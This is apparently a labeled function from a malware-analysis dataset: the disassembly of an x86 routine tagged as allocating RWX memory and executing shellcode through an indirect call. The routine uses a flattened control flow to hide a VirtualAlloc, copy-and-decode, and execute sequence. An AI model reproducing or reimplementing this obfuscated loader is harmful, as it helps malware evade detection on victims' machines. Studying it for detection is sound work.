Function at 0x4199d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x158
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
add eax, dword [ecx + 0x11]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
add eax, dword [ecx + 0x15]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x38], 0
mov eax, dword [ebp - 0x24]
mov eax, dword [eax + 5]
mov ecx, esp
mov dword [ecx + 4], eax
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x3c], 0xb054758d
mov eax, dword [ebp - 0x3c]
mov ecx, eax
sub ecx, 0x6584c025
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x44], ecx
jg 0x419fff
jmp 0x419a69
mov eax, dword [ebp - 0x40]
sub eax, 0x34668520
mov dword [ebp - 0x48], eax
jg 0x419fe6
jmp 0x419a7f
mov eax, dword [ebp - 0x40]
sub eax, 0x2ed9cb14
mov dword [ebp - 0x4c], eax
jg 0x419fcd
jmp 0x419a95
mov eax, dword [ebp - 0x40]
sub eax, 0x2a4991e3
mov dword [ebp - 0x50], eax
jg 0x419fb4
jmp 0x419aab
mov eax, dword [ebp - 0x40]
sub eax, 0x8a4410d0
mov dword [ebp - 0x54], eax
jg 0x419ad7
jmp 0x419ac1
mov eax, dword [ebp - 0x40]
sub eax, 0x88e26edc
mov dword [ebp - 0x58], eax
je 0x41a1a9
jmp 0x41a018
mov eax, dword [ebp - 0x40]
sub eax, 0x913c2f2d
mov dword [ebp - 0x5c], eax
jg 0x419b03
jmp 0x419aed
mov eax, dword [ebp - 0x40]
sub eax, 0x8a4410d1
mov dword [ebp - 0x60], eax
je 0x41a23d
jmp 0x41a018
mov eax, dword [ebp - 0x40]
sub eax, 0x9290aa4a
mov dword [ebp - 0x64], eax
jg 0x419b2f
jmp 0x419b19
mov eax, dword [ebp - 0x40]
sub eax, 0x913c2f2e
mov dword [ebp - 0x68], eax
je 0x41a43a
jmp 0x41a018
mov eax, dword [ebp - 0x40]
sub eax, 0xa37a7c52
mov dword [ebp - 0x6c], eax
jg 0x419b5b
jmp 0x419b45
mov eax, dword [ebp - 0x40]
sub eax, 0x9290aa4b
mov dword [ebp - 0x70], eax
je 0x41a384
jmp 0x41a018
mov eax, dword [ebp - 0x40]
sub eax, 0xa5c13c21
mov dword [ebp - 0x74], eax
jg 0x419b87
jmp 0x419b71
mov eax, dword [ebp - 0x40]
sub eax, 0xa37a7c53
mov dword [ebp - 0x78], eax
je 0x41a1c4
jmp 0x41a018
mov eax, dword [ebp - 0x40]
sub eax, 0xaa113fd7
mov dword [ebp - 0x7c], eax
jg 0x419bb3
jmp 0x419b9d
mov eax, dword [ebp - 0x40]
sub eax, 0xa5c13c22
mov dword [ebp - 0x80], eax
je 0x41a04e
jmp 0x41a018
mov eax, dword [ebp - 0x40]
sub eax, 0xaa53e9d5
mov dword [ebp - 0x84], eax
jg 0x419be5
jmp 0x419bcc
mov eax, dword [ebp - 0x40]
sub eax, 0xaa113fd8
mov dword [ebp - 0x88], eax
je 0x41a2c3
jmp 0x41a018
mov eax, dword [ebp - 0x40]
sub eax, 0xb054758c
mov dword [ebp - 0x8c], eax
jg 0x419c17
jmp 0x419bfe
mov eax, dword [ebp - 0x40]
sub eax, 0xaa53e9d6
mov dword [ebp - 0x90], eax
je 0x41a12d
jmp 0x41a018
mov eax, dword [ebp - 0x40]
sub eax, 0xb0f8b4cc
mov dword [ebp - 0x94], eax
jg 0x419c49
jmp 0x419c30
mov eax, dword [ebp - 0x40]
sub eax, 0xb054758d
mov dword [ebp - 0x98], eax
je 0x41a01d
jmp 0x41a018
mov eax, dword [ebp - 0x40]
sub eax, 0xb2c4dbcb
mov dword [ebp - 0x9c], eax
jg 0x419c7b
jmp 0x419c62
mov eax, dword [ebp - 0x40]
sub eax, 0xb0f8b4cd
mov dword [ebp - 0xa0], eax
je 0x41a099
jmp 0x41a018
mov eax, dword [ebp - 0x40]
sub eax, 0xb5a8ca1f
mov dword [ebp - 0xa4], eax
jg 0x419cad
jmp 0x419c94
mov eax, dword [ebp - 0x40]
sub eax, 0xb2c4dbcc
mov dword [ebp - 0xa8], eax
je 0x41a3f1
jmp 0x41a018
mov eax, dword [ebp - 0x40]
sub eax, 0xc5e9bfba
mov dword [ebp - 0xac], eax
jg 0x419cdf
jmp 0x419cc6
mov eax, dword [ebp - 0x40]
sub eax, 0xb5a8ca20
mov dword [ebp - 0xb0], eax
je 0x41a05b
jmp 0x41a018
mov eax, dword [ebp - 0x40]
sub eax, 0xc764b0a6
mov dword [ebp - 0xb4], eax
jg 0x419d11
jmp 0x419cf8
mov eax, dword [ebp - 0x40]
sub eax, 0xc5e9bfbb
mov dword [ebp - 0xb8], eax
je 0x41a42e
jmp 0x41a018
mov eax, dword [ebp - 0x40]
sub eax, 0xd00d95e0
mov dword [ebp - 0xbc], eax
jg 0x419d43
jmp 0x419d2a
mov eax, dword [ebp - 0x40]
sub eax, 0xc764b0a7
mov dword [ebp - 0xc0], eax
je 0x41a287
jmp 0x41a018
mov eax, dword [ebp - 0x40]
sub eax, 0xd4e731d0
mov dword [ebp - 0xc4], eax
jg 0x419d75
jmp 0x419d5c
mov eax, dword [ebp - 0x40]
sub eax, 0xd00d95e1
mov dword [ebp - 0xc8], eax
je 0x41a2dd
jmp 0x41a018
mov eax, dword [ebp - 0x40]
sub eax, 0xe9c05aa8
mov dword [ebp - 0xcc], eax
jg 0x419da7
jmp 0x419d8e
mov eax, dword [ebp - 0x40]
sub eax, 0xd4e731d1
mov dword [ebp - 0xd0], eax
je 0x41a06f
jmp 0x41a018
mov eax, dword [ebp - 0x40]
sub eax, 0xfa352c
mov dword [ebp - 0xd4], eax
jg 0x419dd9
jmp 0x419dc0
mov eax, dword [ebp - 0x40]
sub eax, 0xe9c05aa9
mov dword [ebp - 0xd8], eax
je 0x41a120
jmp 0x41a018
mov eax, dword [ebp - 0x40]
sub eax, 0x2850854
mov dword [ebp - 0xdc], eax
jg 0x419e0b
jmp 0x419df2
mov eax, dword [ebp - 0x40]
sub eax, 0xfa352d
mov dword [ebp - 0xe0], eax
je 0x41a0ff
jmp 0x41a018
mov eax, dword [ebp - 0x40]
sub eax, 0x8020cdf
mov dword [ebp - 0xe4], eax
jg 0x419e3d
jmp 0x419e24
mov eax, dword [ebp - 0x40]
sub eax, 0x2850855
mov dword [ebp - 0xe8], eax
je 0x41a2e9
jmp 0x41a018
mov eax, dword [ebp - 0x40]
sub eax, 0x8c31932
mov dword [ebp - 0xec], eax
jg 0x419e6f
jmp 0x419e56
mov eax, dword [ebp - 0x40]
sub eax, 0x8020ce0
mov dword [ebp - 0xf0], eax
je 0x41a371
jmp 0x41a018
mov eax, dword [ebp - 0x40]
sub eax, 0xe9ebecd
mov dword [ebp - 0xf4], eax
jg 0x419ea1
jmp 0x419e88
mov eax, dword [ebp - 0x40]
sub eax, 0x8c31933
mov dword [ebp - 0xf8], eax
je 0x41a1e8
jmp 0x41a018
mov eax, dword [ebp - 0x40]
sub eax, 0x195c9299
mov dword [ebp - 0xfc], eax
jg 0x419ed3
jmp 0x419eba
mov eax, dword [ebp - 0x40]
sub eax, 0xe9ebece
mov dword [ebp - 0x100], eax
je 0x41a07b
jmp 0x41a018
mov eax, dword [ebp - 0x40]
sub eax, 0x1e918f1a
mov dword [ebp - 0x104], eax
jg 0x419f05
jmp 0x419eec
mov eax, dword [ebp - 0x40]
sub eax, 0x195c929a
mov dword [ebp - 0x108], eax
je 0x41a03b
jmp 0x41a018
mov eax, dword [ebp - 0x40]
sub eax, 0x2166ba82
mov dword [ebp - 0x10c], eax
jg 0x419f37
jmp 0x419f1e
mov eax, dword [ebp - 0x40]
sub eax, 0x1e918f1b
mov dword [ebp - 0x110], eax
je 0x41a392
jmp 0x41a018
mov eax, dword [ebp - 0x40]
sub eax, 0x23d31327
mov dword [ebp - 0x114], eax
jg 0x419f69
jmp 0x419f50
mov eax, dword [ebp - 0x40]
sub eax, 0x2166ba83
mov dword [ebp - 0x118], eax
je 0x41a325
jmp 0x41a018
mov eax, dword [ebp - 0x40]
sub eax, 0x23d31328
mov dword [ebp - 0x11c], eax
je 0x41a0a6
jmp 0x419f82
mov eax, dword [ebp - 0x40]
sub eax, 0x27a076a2
mov dword [ebp - 0x120], eax
je 0x41a2d0
jmp 0x419f9b
mov eax, dword [ebp - 0x40]
sub eax, 0x27bb017a
mov dword [ebp - 0x124], eax
je 0x41a3a5
jmp 0x41a018
mov eax, dword [ebp - 0x40]
sub eax, 0x2a4991e4
mov dword [ebp - 0x128], eax
je 0x41a340
jmp 0x41a018
mov eax, dword [ebp - 0x40]
sub eax, 0x2ed9cb15
mov dword [ebp - 0x12c], eax
je 0x41a2fb
jmp 0x41a018
mov eax, dword [ebp - 0x40]
sub eax, 0x34668521
mov dword [ebp - 0x130], eax
je 0x41a0f3
jmp 0x41a018
mov eax, dword [ebp - 0x40]
sub eax, 0x6584c026
mov dword [ebp - 0x134], eax
je 0x41a308
jmp 0x41a018
jmp 0x41a441
mov eax, 0x195c929a
mov ecx, 0xa5c13c22
mov edx, dword [ebp - 0x14]
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x3c], eax
jmp 0x41a441
mov eax, dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
mov esi, dword [eax]
mov dword [ebp - 0x3c], 0x2ed9cb15
jmp 0x41a441
mov eax, 0xb5a8ca20
mov dword [ebp - 0x3c], eax
jmp 0x41a441
mov eax, 0xd4e731d1
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x3c], eax
jmp 0x41a441
mov dword [ebp - 0x3c], 0xe9ebece
jmp 0x41a441
mov eax, 0xe9c05aa9
mov ecx, 0xb0f8b4cd
mov edx, dword [ebp - 0x34]
mov esi, dword [ebp - 0x24]
cmp edx, dword [esi + 0xd]
cmovb eax, ecx
mov dword [ebp - 0x3c], eax
jmp 0x41a441
mov eax, 0x23d31328
mov dword [ebp - 0x3c], eax
jmp 0x41a441
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 5]
mov ecx, dword [ebp - 0x28]
add ecx, 0xd
mov edx, dword [ebp - 0x30]
mov esi, dword [ebp - 0x28]
add edx, dword [esi + 1]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00406870
mov ecx, 0x34668521
mov edx, dword [ebp - 0x28]
add edx, 0xd
mov esi, dword [ebp - 0x28]
add edx, dword [esi + 5]
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x138], eax
jmp 0x41a441
mov dword [ebp - 0x3c], 0xfa352d
jmp 0x41a441
mov eax, dword [ebp - 0x34]
sub eax, 0x62d28fe7
add eax, 1
add eax, 0x62d28fe7
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x3c], 0xe9ebece
jmp 0x41a441
mov eax, 0xaa53e9d6
mov dword [ebp - 0x3c], eax
jmp 0x41a441
mov eax, 0x20
mov ecx, dword [ebp - 0x2c]
add ecx, 1
mov edx, dword [ebp - 0x1c]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x20
mov dword [ebp - 0x13c], eax
call fcn.00406870
mov ecx, 0x88e26edc
mov edx, 0xffffffff
mov esi, dword [ebp - 0x2c]
movzx esi, byte [esi]
xor esi, 0xffffffff
mov edi, edx
xor edi, 1
xor edx, 0xaf1c9a1c
or esi, edi
or edx, 0xaf1c9a1c
xor esi, 0xffffffff
and esi, edx
cmp esi, 0
setne bl
and bl, 1
mov byte [ebp - 0xe], bl
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x140], eax
jmp 0x41a441
mov eax, 0x8c31933
mov ecx, 0xa37a7c53
mov dl, byte [ebp - 0xe]
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x3c], eax
jmp 0x41a441
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
add eax, dword [ecx + 1]
mov ecx, dword [ebp - 0x30]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00417d20
mov dword [ebp - 0x3c], 0x8c31933
jmp 0x41a441
call fcn.0041b850
mov ecx, 0xc764b0a7
mov edx, 0x8a4410d1
mov esi, 0xffffffff
mov edi, dword [ebp - 0x2c]
movzx edi, byte [edi]
xor edi, 0xffffffff
mov ebx, esi
xor ebx, 3
xor esi, 0xb059b64
or edi, ebx
or esi, 0xb059b64
xor edi, 0xffffffff
and edi, esi
cmp edi, 0
cmovne ecx, edx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x144], eax
jmp 0x41a441
mov eax, 0xa2044eed
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x24]
mov edx, dword [edx + 1]
add eax, 0
sub eax, edx
sub eax, 0xa2044eed
add ecx, eax
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
add eax, dword [ecx + 0x19]
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x30]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.004184f0
mov dword [ebp - 0x3c], 0xc764b0a7
jmp 0x41a441
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
add eax, dword [ecx + 0x11]
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ecx + 0xd]
mov edx, dword [ebp - 0x30]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00418d90
mov ecx, 0x2850855
mov edx, 0xaa113fd8
cmp eax, 0
cmovl ecx, edx
mov dword [ebp - 0x3c], ecx
jmp 0x41a441
mov eax, 0x27a076a2
mov dword [ebp - 0x3c], eax
jmp 0x41a441
mov eax, 0xd00d95e1
mov dword [ebp - 0x3c], eax
jmp 0x41a441
mov dword [ebp - 0x3c], 0x2ed9cb15
jmp 0x41a441
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x3c], 0x9290aa4b
jmp 0x41a441
mov eax, 0x6584c026
mov dword [ebp - 0x3c], eax
jmp 0x41a441
mov eax, 0x2166ba83
cmp dword [ebp - 0x30], 0
setne cl
and cl, 1
mov byte [ebp - 0xd], cl
mov dword [ebp - 0x3c], eax
jmp 0x41a441
mov eax, 0x8020ce0
mov ecx, 0x2a4991e4
mov dl, byte [ebp - 0xd]
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x3c], eax
jmp 0x41a441
mov eax, dword [ebp - 0x30]
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 8], 0x8000
mov dword [ecx + 4], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualFree]
call eax
sub esp, 0xc
mov dword [ebp - 0x3c], 0x8020ce0
mov dword [ebp - 0x148], eax
jmp 0x41a441
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x3c], 0x9290aa4b
jmp 0x41a441
mov eax, dword [ebp - 0x18]
add esp, 0x158
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x3c], 0xb5a8ca20
jmp 0x41a441
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 5]
mov ecx, dword [ebp - 0x28]
add ecx, 0xd
mov edx, dword [ebp - 0x30]
mov esi, dword [ebp - 0x28]
add edx, dword [esi + 1]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.00406870
mov ecx, dword [ebp - 0x28]
add ecx, 0xd
mov edx, dword [ebp - 0x28]
add ecx, dword [edx + 5]
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x3c], 0x23d31328
mov dword [ebp - 0x14c], eax
jmp 0x41a441
mov eax, 0x20
mov ecx, dword [ebp - 0x2c]
add ecx, 1
mov edx, dword [ebp - 0x1c]
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x20
mov dword [ebp - 0x150], eax
call fcn.00406870
mov dword [ebp - 0x3c], 0xaa53e9d6
mov dword [ebp - 0x154], eax
jmp 0x41a441
mov dword [ebp - 0x3c], 0x27a076a2
jmp 0x41a441
mov dword [ebp - 0x3c], 0x6584c026
jmp 0x419a4d